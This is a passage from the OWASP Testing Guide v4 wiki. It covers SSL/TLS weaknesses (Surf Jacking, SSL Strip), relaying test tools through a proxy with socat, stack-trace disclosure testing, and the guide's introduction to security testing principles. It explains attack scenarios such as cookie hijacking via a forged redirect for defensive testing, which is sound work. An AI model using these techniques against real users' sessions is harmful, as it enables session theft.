As mentioned previously, there are other types of vulnerabilities that are not related with the SSL/TLS protocol used, the cipher suites or Certificates. Apart from other vulnerabilities discussed in other parts of this guide, a vulnerability exists when the server provides the website both with the HTTP and HTTPS protocols, and permits an attacker to force a victim into using a non-secure channel instead of a secure one.

====Surf Jacking====
The Surf Jacking attack [7] was first presented by Sandro Gauci and permits to an attacker to hijack an HTTP session even when the victim’s connection is encrypted using SSL or TLS.

The following is a scenario of how the attack can take place:
* Victim logs into the secure website at https://somesecuresite/.
* The secure site issues a session cookie as the client logs in.
* While logged in, the victim opens a new browser window and goes to http:// examplesite/
* An attacker sitting on the same network is able to see the clear text traffic to http://examplesite.
* The attacker sends back a "301 Moved Permanently" in response to the clear text traffic to http://examplesite. The response contains the header “Location: http://somesecuresite /”, which makes it appear that examplesite is sending the web browser to somesecuresite. Notice that the URL scheme is HTTP not HTTPS.
* The victim's browser starts a new clear text connection to http://somesecuresite/ and sends an HTTP request containing the cookie in the HTTP header in clear text
* The attacker sees this traffic and logs the cookie for later use.

To test if a website is vulnerable carry out the following tests:
# Check if website supports both HTTP and HTTPS protocols
# Check if cookies do not have the “Secure” flag

====SSL Strip====
Some applications supports both HTTP and HTTPS, either for usability or so users can type both addresses and get to the site. Often users go into an HTTPS website from link or a redirect. Typically personal banking sites have a similar configuration with an iframed log in or a form with action attribute over HTTPS but the page under HTTP.

An attacker in a privileged position - as described in SSL strip [8] - can intercept traffic when the user is in the http site and manipulate it to get a Man-In-The-Middle attack under HTTPS. An application is vulnerable if it supports both HTTP and HTTPS.

===Testing via HTTP proxy===

Inside corporate environments testers can see services that are not directly accessible and they can access them only via HTTP proxy using the CONNECT method [36]. Most of the tools will not work in this scenario because they try to connect to the desired tcp port to start the SSL/TLS handshake. With the help of relaying software such as socat [37] testers can enable those tools for use with services behind an HTTP proxy.

====Example 8. Testing via HTTP proxy====

To connect to destined.application.lan:443 via proxy 10.13.37.100:3128 run socat as follows:
<pre>
$ socat TCP-LISTEN:9999,reuseaddr,fork PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
</pre>

Then the tester can target all other tools to localhost:9999:
<pre>
$ openssl s_client -connect localhost:9999
</pre>

All connections to localhost:9999 will be effectively relayed by socat via proxy to destined.application.lan:443.

== Configuration Review ==

===Testing for Weak SSL/TLS Cipher Suites===
Check the configuration of the web servers that provide https services. If the web application provides other SSL/TLS wrapped services, these should be checked as well.

====Example 9. Windows Server====
Check the configuration on a Microsoft Windows Server (2000, 2003 and 2008) using the registry key:
<pre>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\</pre>
that has some sub-keys including Ciphers, Protocols and KeyExchangeAlgorithms.

====Example 10: Apache====
To check the cipher suites and protocols supported by the Apache2 web server, open the ssl.conf file and search for the SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInsecureRenegotiation and SSLCompression directives.

===Testing SSL certificate validity – client and server===
Examine the validity of the certificates used by the application at both server and client levels. The usage of certificates is primarily at the web server level, however, there may be additional communication paths protected by SSL (for example, towards the DBMS). Testers should check the application architecture to identify all SSL protected channels.

==Tools==
*[21][Qualys SSL Labs - SSL Server Test|https://www.ssllabs.com/ssltest/index.html]: internet facing scanner
*[27] [Tenable - Nessus Vulnerability Scanner|http://www.tenable.com/products/nessus]: includes some plugins to test different SSL related vulnerabilities, Certificates and the presence of HTTP Basic authentication without SSL.
*[32] [TestSSLServer|http://www.bolet.org/TestSSLServer/]: a java scanner - and also windows executable - includes tests for cipher suites, CRIME and BEAST
*[33] [sslyze|https://github.com/iSECPartners/sslyze]: is a python script to check vulnerabilities in SSL/TLS.
*[28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl script/windows executable scanner which follows Qualys SSL Labs Rating Guide.
*[29] [SSLScan|http://sourceforge.net/projects/sslscan/] with [SSL Tests|http://www.pentesterscripting.com/discovery/ssl_tests]: a SSL Scanner and a wrapper in order to enumerate SSL vulnerabilities.
*[31] [nmap|http://nmap.org/]: can be used primary to identify SSL-based services and then to check Certificate and SSL/TLS vulnerabilities. In particular it has some scripts to check [Certificate and SSLv2|http://nmap.org/nsedoc/scripts/ssl-cert.html] and supported [SSL/TLS protocols/ciphers|http://nmap.org/nsedoc/scripts/ssl-enum-ciphers.html] with an internal rating.
*[30] [curl|http://curl.haxx.se/] and [openssl|http://www.openssl.org/]: can be used to query manually SSL/TLS services
*[9] [Stunnel|http://www.stunnel.org]: a noteworthy class of SSL clients is that of SSL proxies such as stunnel available at which can be used to allow non-SSL enabled tools to talk to SSL services)
*[37] [socat| http://www.dest-unreach.org/socat/]: Multipurpose relay
*[38] [testssl.sh| https://testssl.sh/ ]

==References==
'''OWASP Resources'''
* [5] [OWASP Testing Guide - Testing for cookie attributes (OTG-SESS-002)|https://www.owasp.org/index.php/Testing_for_cookies_attributes_(OWASP-SM-002)]
* [4][OWASP Testing Guide - Test Network/Infrastructure Configuration (OTG-CONFIG-001)|https://www.owasp.org/index.php/Testing_for_infrastructure_configuration_management_(OWASP-CM-003)]
* [6] [OWASP Testing Guide - Testing for Missing HSTS header (OTG-CONFIG-009)|https://www.owasp.org/index.php/Testing_for_Missing_HSTS_header]
* [2] [OWASP Testing Guide - Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|https://www.owasp.org/index.php/Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-007)]
* [3] [OWASP Testing Guide - Testing for Credentials Transported over an Encrypted Channel (OTG-AUTHN-001)|https://www.owasp.org/index.php/Testing_for_Credentials_Transported_over_an_Encrypted_Channel_(OWASP-AT-001)]
* [9] [OWASP Testing Guide - Test Content Security Policy (OTG-CONFIG-008)|https://www.owasp.org/index.php/Testing_for_Content_Security_Policy_weakness]
* [22] [OWASP Cheat sheet - Transport Layer Protection|https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet]
* [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure|https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure]
* [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection|https://www.owasp.org/index.php/Top_10_2010-A9-Insufficient_Transport_Layer_Protection]
* [25] [OWASP ASVS 2009 - Verification 10|https://code.google.com/p/owasp-asvs/wiki/Verification_V10]
* [26] [OWASP Application Security FAQ - Cryptography/SSL|https://www.owasp.org/index.php/OWASP_Application_Security_FAQ#Cryptography.2FSSL]

'''Whitepapers'''
* [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://www.ietf.org/rfc/rfc5246.txt]
* [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|]
* [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension Definitions|http://www.ietf.org/rfc/rfc6066.txt]
* [11] [SSLv2 Protocol Multiple Weaknesses |http://osvdb.org/56387]
* [12] [Mitre - TLS Renegotiation MiTM|http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555]
* [13] [Qualys SSL Labs - TLS Renegotiation DoS|https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks]
* [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices|https://www.ssllabs.com/projects/best-practices/index.html]
* [14] [Qualys SSL Labs - SSL Server Rating Guide|https://www.ssllabs.com/projects/rating-guide/index.html]
* [20] [Qualys SSL Labs - SSL Threat Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
* [18] [Qualys SSL Labs - Forward Secrecy|https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy]
* [15] [Qualys SSL Labs - RC4 Usage|https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what]
* [16] [Qualys SSL Labs - BEAST|https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls]
* [17] [Qualys SSL Labs - CRIME|https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls]
* [7] [SurfJacking attack|https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf]
* [8] [SSLStrip attack|http://www.thoughtcrime.org/software/sslstrip/]
* [19] [PCI-DSS v2.0|https://www.pcisecuritystandards.org/security_standards/documents.php]
* [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash Functions| http://link.springer.com/chapter/10.1007/11426639_2]

[[Category:Cryptographic Vulnerability]]
[[Category:SSL]]

Testing for Stack Traces (OTG-ERR-002)

2014-08-01T20:39:39Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Stack traces are not vulnerabilities by themselves, but they often reveal information that is interesting to an attacker. Attackers attempt to generate these stack traces by tampering with the input to the web application with malformed HTTP requests and other input data.

If the application responds with stack traces that are not managed it could reveal information useful to attackers. This information could then be used in further attacks. Providing debugging information as a result of operations that generate errors is considered a bad practice due to multiple reasons. For example, it may contain information on internal workings of the application such as relative paths of the point where the application is installed or how objects are referenced internally.

==How to Test==
== Black Box testing and example ==

There are a variety of techniques that will cause exception messages to be sent in an HTTP response. Note that in most cases this will be an HTML page, but exceptions can be sent as part of SOAP or REST responses too.

Some tests to try include:
*invalid input (such as input that is not consistent with application logic.
*input that contains non alphanumeric characters or query syntax.
*empty inputs.
*inputs that are too long.
*access to internal pages without authentication.
*bypassing application flow.

All the above tests could lead to application errors that may contain stack traces. It is recommended to use a fuzzer in addition to any manual testing.

Some tools, such as [[OWASP_Zed_Attack_Proxy_Project|OWASP ZAP]] and Burp proxy will automatically detect these exceptions in the response stream as you are doing other penetration and testing work.

== Gray Box Testing ==

Search the code for the calls that cause an exception to be rendered to a String or output stream. For example, in Java this might be code in a JSP that looks like:

<pre><% e.printStackTrace( new PrintWriter( out ) ) %></pre>

In some cases, the stack trace will be specifically formatted into HTML, so be careful of accesses to stack trace elements.

Search the configuration to verify error handling configuration and the use of default error pages. For example, in Java this configuration can be found in web.xml.

==Tools==
[1] ZAP Proxy - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

== References ==

* [1] [[http://www.ietf.org/rfc/rfc2616.txt?number=2616 RFC2616]] Hypertext Transfer Protocol -- HTTP/1.1

Testing Guide Introduction

2014-08-01T20:29:08Z

Jane O'Connor: Added Matt's changes to encryption standards.

{{Template:OWASP Testing Guide v4}}

=== The OWASP Testing Project ===
----
The OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the ''what'', ''why'', ''when'', ''where'', and ''how'' of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people’s processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.

Writing the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.

However, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlighting areas of weakness, although the latter is certainly a by product of many of the OWASP guides and checklists. As such, hard decisions had top be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree upon all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education based on consensus and experience.

The rest of this guide is organized as follows:
This introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques.
Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle.
Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.

'''Measuring Security: the Economics of Insecure Software''' 
A basic tenet of software engineering is that you can't control what you can't measure [1]. Security testing is no different. Unfortunately, measuring security is a notoriously difficult process. This topic will not be covered in detail here, as it would take a guide on its own (for an introduction, see [2]).

One aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner's business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security. 
While estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

While estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. For example, in June 2002, the US National Institute of Standards (NIST) published a survey on the cost of insecure software to the US economy due to inadequate software testing [3]. Interestingly, they estimate that a better testing infrastructure would save more than a third of these costs, or about $22 billion a year. More recently, the links between economics and security have been studied by academic researchers. See [4] for more information about some of these efforts.

The framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop appropriate business processes and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.

'''What is Testing?''' 
During the development life cycle of a web application many things need to be tested, but what does testing actually mean? The Merriam-Webster Dictionary describes testing as:
* To put to test or proof.
* To undergo a test.
* To be assigned a standing or evaluation based on tests.
For the purposes of this document testing is a process of comparing the state of a system or application against a set of criteria. In the security industry people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception and to make it easier for people without in-depth security knowledge to make a difference in testing.

'''Why Perform Testing?''' 
This document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a testing program on web applications. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference guide and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the remaining parts of this document.

'''When to Test?''' 
Most people today don’t test software until it has already been created and is in the deployment phase of its life cycle (i.e., code has been created and instantiated into a working web application). This is generally a very ineffective and cost-prohibitive practice. One of the best methods to prevent security bugs from appearing in production applications is to improve the Software Development Life Cycle (SDLC) by including security in each of its phases. An SDLC is a structure imposed on the development of software artefacts. If an SDLC is not currently being used in your environment, it is time to pick one! The following figure shows a generic SDLC model as well as the (estimated) increasing cost of fixing security bugs in such a model.

<center>[[Image:SDLC.jpg]] 
''Figure 1: Generic SDLC Model'' </center>

Companies should inspect their overall SDLC to ensure that security is an integral part of the development process. SDLCs should include security tests to ensure security is adequately covered and controls are effective throughout the development process.

'''What to Test?''' 
It can be helpful to think of software development as a combination of people, process, and technology. If these are the factors that "create" software, then it is logical that these are the factors that must be tested. Today most people generally test the technology or the software itself.

An effective testing program should have components that test: 
*''People'' – to ensure that there is adequate education and awareness; 
*''Process'' – to ensure that there are adequate policies and standards and that people know how to follow these policies; *''Technology'' – to ensure that the process has been effective in its implementation.

Unless a holistic approach is adopted, testing just the technical implementation of an application will not uncover management or operational vulnerabilities that could be present. By testing the people, policies, and processes, an organization can catch issues that would later manifest themselves into defects in the technology, thus eradicating bugs early and identifying the root causes of defects. Likewise, testing only some of the technical issues that can be present in a system will result in an incomplete and inaccurate security posture assessment.

Denis Verdon, Head of Information Security at [http://www.fnf.com Fidelity National Financial] presented an excellent analogy for this misconception at the OWASP AppSec 2004 Conference in New York [5]: "If cars were built like applications [...] safety tests would assume frontal impact only. Cars would not be roll tested, or tested for stability in emergency maneuvers, brake effectiveness, side impact, and resistance to theft." 

'''Feedback and Comments''' 
As with all OWASP projects, we welcome comments and feedback. We especially like to know that our work is being used and that it is effective and accurate.

==Principles of Testing==

There are some common misconceptions when developing a testing methodology to find security bugs in software. This chapter covers some of the basic principles that professionals should take into account when performing security tests on software.

'''There is No Silver Bullet''' 
While it is tempting to think that a security scanner or application firewall will provide many defenses against attack or identify a multitude of problems, in reality there is no silver bullet to the problem of insecure software. Application security assessment software, while useful as a first pass to find low-hanging fruit, is generally immature and ineffective at in-depth assessments or providing adequate test coverage. Remember that security is a process and not a product.

'''Think Strategically, Not Tactically''' 
Over the last few years, security professionals have come to realize the fallacy of the patch-and-penetrate model that was pervasive in information security during the 1990’s. The patch-and-penetrate model involves fixing a reported bug, but without proper investigation of the root cause. This model is usually associated with the window of vulnerability shown in the figure below. The evolution of vulnerabilities in common software used worldwide has shown the ineffectiveness of this model. For more information about the window of vulnerability please refer to [6].

Vulnerability studies [7] have shown that with the reaction time of attackers worldwide, the typical window of vulnerability does not provide enough time for patch installation, since the time between a vulnerability being uncovered and an automated attack against it being developed and released is decreasing every year.

There are several incorrect assumptions in the patch-and-penetrate model. Many users believe that patches interfere with normal operations and might break existing applications. It is also incorrect to assume that all users are aware of newly released patches. Consequently not all users of a product will apply patches, either because they think patching may interfere with how the software works or because they lack knowledge about the existence of the patch. 

<center>[[Image:WindowExposure.jpg]] 
''Figure 2: Window of Vulnerability''</center> 

It is essential to build security into the Software Development Life Cycle (SDLC) to prevent reoccurring security problems within an application. Developers can build security into the SDLC by developing standards, policies, and guidelines that fit and work within the development methodology. Threat modeling and other techniques should be used to help assign appropriate resources to those parts of a system that are most at risk.
 

'''The SDLC is King''' 
The SDLC is a process that is well-known to developers. By integrating security into each phase of the SDLC, it allows for a holistic approach to application security that leverages the procedures already in place within the organization. Be aware that while the names of the various phases may change depending on the SDLC model used by an organization, each conceptual phase of the archetype SDLC will be used to develop the application (i.e., define, design, develop, deploy, maintain). Each phase has security considerations that should become part of the existing process, to ensure a cost-effective and comprehensive security program.

There are several secure SDLC frameworks that exist that provide both descriptive and prescriptive advice. Whether a person takes descriptive or prescriptive advice depends on the maturity of the SDLC process. Essentially, prescriptive advice shows how the secure SDLC should work, and descriptive advice shows how its used in the real world. Both have their place. For example, if you don't know where to start, a prescriptive framework can provide a menu of potential security controls that can be applied within the SDLC. Descriptive advice can then help drive the decision process by presenting what has worked well for other organizations. Descriptive secure SDLCs include BSIMM-V; and the prescriptive secure SDLCs inculde OWASP's Open Software Assurance Maturity Model (OpenSAMM) and ISO/IEC 27034 Parts 1-8, parts of which are still in development.
 
'''Test Early and Test Often''' 
When a bug is detected early within the SDLC it can be addressed faster and at a lower cost. A security bug is no different from a functional or performance-based bug in this regard. A key step in making this possible is to educate the development and QA teams about common security issues and the ways to detect and prevent them. Although new libraries, tools, or languages can help design better programs (with fewer security bugs), new threats arise constantly and developers must be aware of the threats that affect the software they are developing. Education in security testing also helps developers acquire the appropriate mindset to test an application from an attacker's perspective. This allows each organization to consider security issues as part of their existing responsibilities.
 
'''Understand the Scope of Security''' 
It is important to know how much security a given project will require. The information and assets that are to be protected should be given a classification that states how they are to be handled (e.g., confidential, secret, top secret). Discussions should occur with legal council to ensure that any specific security requirements will be met. In the USA requirements might come from federal regulations, such as the Gramm-Leach-Bliley Act [8], or from state laws, such as the California SB-1386 [9]. For organizations based in EU countries, both country-specific regulation and EU Directives may apply. For example, Directive 96/46/EC4 [10] makes it mandatory to treat personal data in applications with due care, whatever the application.
 
'''Develop the Right Mindset''' 
Successfully testing an application for security vulnerabilities requires thinking "outside of the box." Normal use cases will test the normal behavior of the application when a user is using it in the manner that is expected. Good security testing requires going beyond what is expected and thinking like an attacker who is trying to break the application. Creative thinking can help to determine what unexpected data may cause an application to fail in an insecure manner. It can also help find what assumptions made by web developers are not always true and how they can be subverted. One of the reasons why automated tools are actually bad at automatically testing for vulnerabilities is that this creative thinking must be done on a case-by-case basis as most web applications are being developed in a unique way (even when using common frameworks).
 
'''Understand the Subject''' 
One of the first major initiatives in any good security program should be to require accurate documentation of the application. The architecture, data-flow diagrams, use cases, etc, should be written in formal documents and made available for review. The technical specification and application documents should include information that lists not only the desired use cases, but also any specifically disallowed use case. Finally, it is good to have at least a basic security infrastructure that allows the monitoring and trending of attacks against an organization's applications and network (e.g., IDS systems).
 
'''Use the Right Tools''' 
While we have already stated that there is no silver bullet tool, tools do play a critical role in the overall security program. There is a range of open source and commercial tools that can automate many routine security tasks. These tools can simplify and speed up the security process by assisting security personnel in their tasks. However, it is important to understand exactly what these tools can and cannot do so that they are not oversold or used incorrectly.
 
'''The Devil is in the Details''' 
It is critical not to perform a superficial security review of an application and consider it complete. This will instill a false sense of confidence that can be as dangerous as not having done a security review in the first place. It is vital to carefully review the findings and weed out any false positive that may remain in the report. Reporting an incorrect security finding can often undermine the valid message of the rest of a security report. Care should be taken to verify that every possible section of application logic has been tested, and that every use case scenario was explored for possible vulnerabilities.
 
'''Use Source Code When Available''' 
While black box penetration test results can be impressive and useful to demonstrate how vulnerabilities are exposed in a production environment, they are not the most effective or efficient way to secure an application. It is difficult for dynamic testing to test the entire code base, particularly if many nested conditional statements exist. If the source code for the application is available, it should be given to the security staff to assist them while performing their review. It is possible to discover vulnerabilities within the application source that would be missed during a black box engagement.
 
'''Develop Metrics''' 
An important part of a good security program is the ability to determine if things are getting better. It is important to track the results of testing engagements, and develop metrics that will reveal the application security trends within the organization.

Good metrics will show: 
*If more education and training are required; 
*If there is a particular security mechanism that is not clearly understood by the development team; 
*If the total number of security related problems being found each month is going down.

Consistent metrics that can be generated in an automated way from available source code will also help the organization in assessing the effectiveness of mechanisms introduced to reduce security bugs in software development. Metrics are not easily developed, so using standard metrics like those provided by the OWASP Metrics project and other organizations is a good starting point. 
'''Document the Test Results''' 
To conclude the testing process, it is important to produce a formal record of what testing actions were taken, by whom, when they were performed, and details of the test findings. It is wise to agree on an acceptable format for the report which is useful to all concerned parties, which may include developers, project management, business owners, IT department, audit, and compliance.

The report should be clear to the business owner in identifying where material risks exist and sufficient to get their backing for subsequent mitigation actions. The report should also be clear to the developer in pin-pointing the exact function that is affected by the vulnerability and associated recommendations for resolving issues in a language that the developer will understand. The report should also allow another security tester to reproduce the results. Writing the report should not be overly burdensome on the security tester themselves. Security testers are not generally renowned for their creative writing skills and agreeing on a complex report can lead to instances where test results do not get properly documented. Using a security test report template can save time and ensure that results are documented accurately and consistently, and are in a format that is suitable for the audience.

==Testing Techniques Explained==

This section presents a high-level overview of various testing techniques that can be employed when building a testing program. It does not present specific methodologies for these techniques as this information is covered in Chapter 3. This section is included to provide context for the framework presented in the next chapter and to highlight the advantages and disadvantages of some of the techniques that should be considered. In particular, we will cover:
* Manual Inspections & Reviews
* Threat Modeling
* Code Review
* Penetration Testing

=== Manual Inspections & Reviews ===
'''Overview''' 
Manual inspections are human reviews that typically test the security implications of people, policies, and processes. Manual inspections can also include inspection of technology decisions such as architectural designs. They are usually conducted by analyzing documentation or performing interviews with the designers or system owners.

While the concept of manual inspections and human reviews is simple, they can be among the most powerful and effective techniques available. By asking someone how something works and why it was implemented in a specific way, the tester can quickly determine if any security concerns are likely to be evident. Manual inspections and reviews are one of the few ways to test the software development life-cycle process itself and to ensure that there is an adequate policy or skill set in place.

As with many things in life, when conducting manual inspections and reviews it is recommended that a trust-but-verify model is adopted. Not everything that the tester is shown or told will be accurate. Manual reviews are particularly good for testing whether people understand the security process, have been made aware of policy, and have the appropriate skills to design or implement a secure application.

Other activities, including manually reviewing the documentation, secure coding policies, security requirements, and architectural designs, should all be accomplished using manual inspections.

'''Advantages:'''
* Requires no supporting technology
* Can be applied to a variety of situations
* Flexible
* Promotes teamwork
* Early in the SDLC

'''Disadvantages:'''
* Can be time consuming
* Supporting material not always available
* Requires significant human thought and skill to be effective

=== Threat Modeling ===
'''Overview''' 
Threat modeling has become a popular technique to help system designers think about the security threats that their systems and applications might face. Therefore, threat modeling can be seen as risk assessment for applications. In fact, it enables the designer to develop mitigation strategies for potential vulnerabilities and helps them focus their inevitably limited resources and attention on the parts of the system that most require it. It is recommended that all applications have a threat model developed and documented. Threat models should be created as early as possible in the SDLC, and should be revisited as the application evolves and development progresses.

To develop a threat model, we recommend taking a simple approach that follows the NIST 800-30 [11] standard for risk assessment. This approach involves:
* Decomposing the application – use a process of manual inspection to understand how the application works, its assets, functionality, and connectivity.
* Defining and classifying the assets – classify the assets into tangible and intangible assets and rank them according to business importance.
* Exploring potential vulnerabilities - whether technical, operational, or management.
* Exploring potential threats – develop a realistic view of potential attack vectors from an attacker’s perspective, by using threat scenarios or attack trees.
* Creating mitigation strategies – develop mitigating controls for each of the threats deemed to be realistic.

The output from a threat model itself can vary but is typically a collection of lists and diagrams. The OWASP Code Review Guide outlines an Application Threat Modeling methodology that can be used as a reference for the testing applications for potential security flaws in the design of the application. There is no right or wrong way to develop threat models and perform information risk assessments on applications. [12]. 

'''Advantages:'''
* Practical attacker's view of the system
* Flexible
* Early in the SDLC

'''Disadvantages: '''
* Relatively new technique
* Good threat models don’t automatically mean good software

=== Source Code Review ===
'''Overview''' 
Source code review is the process of manually checking the source code of a web application for security issues. Many serious security vulnerabilities cannot be detected with any other form of analysis or testing. As the popular saying goes “if you want to know what’s really going on, go straight to the source." Almost all security experts agree that there is no substitute for actually looking at the code. All the information for identifying security problems is there in the code somewhere. Unlike testing third party closed software such as operating systems, when testing web applications (especially if they have been developed in-house) the source code should be made available for testing purposes.

Many unintentional but significant security problems are also extremely difficult to discover with other forms of analysis or testing, such as penetration testing, making source code analysis the technique of choice for technical testing. With the source code, a tester can accurately determine what is happening (or is supposed to be happening) and remove the guess work of black box testing.

Examples of issues that are particularly conducive to being found through source code reviews include concurrency problems, flawed business logic, access control problems, and cryptographic weaknesses as well as backdoors, Trojans, Easter eggs, time bombs, logic bombs, and other forms of malicious code. These issues often manifest themselves as the most harmful vulnerabilities in web sites. Source code analysis can also be extremely efficient to find implementation issues such as places where input validation was not performed or when fail open control procedures may be present. But keep in mind that operational procedures need to be reviewed as well, since the source code being deployed might not be the same as the one being analyzed herein [13]. 

'''Advantages:'''
* Completeness and effectiveness
* Accuracy
* Fast (for competent reviewers)

'''Disadvantages:'''
* Requires highly skilled security developers
* Can miss issues in compiled libraries
* Cannot detect run-time errors easily
* The source code actually deployed might differ from the one being analyzed

'''For more on code review, checkout the [[OWASP Code Review Project|OWASP code review project]]'''. 

=== Penetration Testing ===
'''Overview''' 
Penetration testing has been a common technique used to test network security for many years. It is also commonly known as black box testing or ethical hacking. Penetration testing is essentially the “art” of testing a running application remotely to find security vulnerabilities, without knowing the inner workings of the application itself. Typically, the penetration test team would have access to an application as if they were users. The tester acts like an attacker and attempts to find and exploit vulnerabilities. In many cases the tester will be given a valid account on the system.

While penetration testing has proven to be effective in network security, the technique does not naturally translate to applications. When penetration testing is performed on networks and operating systems, the majority of the work is involved in finding and then exploiting known vulnerabilities in specific technologies. As web applications are almost exclusively bespoke, penetration testing in the web application arena is more akin to pure research. Penetration testing tools have been developed that automate the process, but with the nature of web applications their effectiveness is usually poor.

Many people today use web application penetration testing as their primary security testing technique. Whilst it certainly has its place in a testing program, we do not believe it should be considered as the primary or only testing technique. Gary McGraw in [14] summed up penetration testing well when he said, “If you fail a penetration test you know you have a very bad problem indeed. If you pass a penetration test you do not know that you don’t have a very bad problem”. However, focused penetration testing (i.e., testing that attempts to exploit known vulnerabilities detected in previous reviews) can be useful in detecting if some specific vulnerabilities are actually fixed in the source code deployed on the web site. 

'''Advantages:'''
* Can be fast (and therefore cheap)
* Requires a relatively lower skill-set than source code review
* Tests the code that is actually being exposed

'''Disadvantages:'''
* Too late in the SDLC
* Front impact testing only.

=== The Need for a Balanced Approach ===
With so many techniques and approaches to testing the security of web applications it can be difficult to understand which techniques to use and when to use them. Experience shows that there is no right or wrong answer to the question of exactly what techniques should be used to build a testing framework. In fact all techniques should probably be used to test all the areas that need to be tested.

Although it is clear that there is no single technique that can be performed to effectively cover all security testing and ensure that all issues have been addressed, many companies adopt only one approach. The approach used has historically been penetration testing. Penetration testing, while useful, cannot effectively address many of the issues that need to be tested. It is simply “too little too late” in the software development life cycle (SDLC).

The correct approach is a balanced approach that includes several techniques, from manual reviews to technical testing. A balanced approach should cover testing in all phases of the SDLC. This approach leverages the most appropriate techniques available depending on the current SDLC phase.

Of course there are times and circumstances where only one technique is possible. For example, a test on a web application that has already been created, but where the testing party does not have access to the source code. In this case, penetration testing is clearly better than no testing at all. However, the testing parties should be encouraged to challenge assumptions, such as no access to source code, and to explore the possibility of more complete testing.

A balanced approach varies depending on many factors, such as the maturity of the testing process and corporate culture. It is recommended that a balanced testing framework should look something like the representations shown in Figure 3 and Figure 4. The following figure shows a typical proportional representation overlaid onto the software development life cycle. In keeping with research and experience, it is essential that companies place a higher emphasis on the early stages of development.
<center>
[[Image:ProportionSDLC.png]]
 ''Figure 3: Proportion of Test Effort in SDLC''
</center>
The following figure shows a typical proportional representation overlaid onto testing techniques. 
<center>
[[Image:ProportionTest.png]]
 ''Figure 4: Proportion of Test Effort According to Test Technique''
</center>

'''A Note about Web Application Scanners''' 
Many organizations have started to use automated web application scanners. While they undoubtedly have a place in a testing program, some fundamental issues need to be highlighted about why it is believed that automating black box testing is not (or will ever be) effective. However, highlighting these issues should not discourage the use of web application scanners. Rather, the aim is to ensure the limitations are understood and testing frameworks are planned appropriately.

Important: OWASP is currently working to develop a web application scanner bench marking platform. The following examples show why automated black box testing is not effective.
 
''''Example 1: Magic Parameters'''' 
Imagine a simple web application that accepts a name-value pair of “magic” and then the value. For simplicity, the GET request may be: ''<nowiki>http://www.host/application?magic=value</nowiki>'' To further simplify the example, the values in this case can only be ASCII characters a – z (upper or lowercase) and integers 0 – 9.

